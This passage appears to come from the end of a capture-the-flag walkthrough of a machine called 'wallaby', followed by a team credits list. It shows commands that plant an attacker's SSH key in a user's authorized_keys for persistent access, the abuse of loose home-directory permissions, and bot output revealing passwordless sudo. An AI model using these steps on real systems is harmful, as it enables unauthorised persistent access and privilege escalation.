echo "ssh-rsa AAAAB3NzaC1yITSFREEREALESTATE5DaEcfP2gt16DPp55mTtou4Z9a42+m7rFv root@kali" >> /home/wallaby/.ssh/authorized_keys
chmod 600 /home/wallaby/.ssh/authorized_keys
Because the permissions on home are 755 instead of 700, we can just run this from waldo's home!
12:38 <@waldo> .run /home/waldo/test
12:38 < wallabysbot> b'Matching Defaults entries for wallaby on ubuntu: env_reset, mail_badpass,
secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin\\:/snap/bin User wallaby may run the following commands on ubuntu:
(ALL) NOPASSWD: ALL '
CAST
TEAM VOLTRON
Jay as Giuseppe
Mat as Matato http://howidolinux.com
Steve as SteveyDevey http://newsted.net/
Chris as Cuttlefish blog.csuttles.io